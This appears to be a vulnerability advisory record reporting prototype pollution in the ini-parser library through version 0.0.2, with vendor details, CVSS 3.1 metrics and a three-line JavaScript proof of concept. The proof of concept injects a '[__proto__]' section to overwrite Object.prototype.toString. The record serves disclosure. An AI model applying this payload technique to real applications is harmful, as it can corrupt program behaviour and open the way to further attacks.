title: Prototype Pollution
description: ini-parser through 0.0.2 is vulnerable to Prototype Pollution.The library could be tricked into adding or modifying properties of Object.prototype using a '__proto__' payload.
problem types: Prototype Pollution
affected:
{
product: ini-parser
vendor: rawiroaisen
versions:
lessThanOrEqual: 0.0.2, status: affected, version: unspecified, versionType: custom
}
metrics:
cvssV3_1: [
attackComplexity: LOW
attackVector: LOCAL
availabilityImpact: LOW
baseScore: 4.4
baseSeverity: MEDIUM
confidentialityImpact: LOW
integrityImpact: NONE
privilegesRequired: LOW
scope: UNCHANGED
userInteraction: NONE
vectorString: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L
version: 3.1
]
exploits: var a = require("ini-parser");
a.parse('[__proto__]\ntoString=JHU');
console.log({}.toString);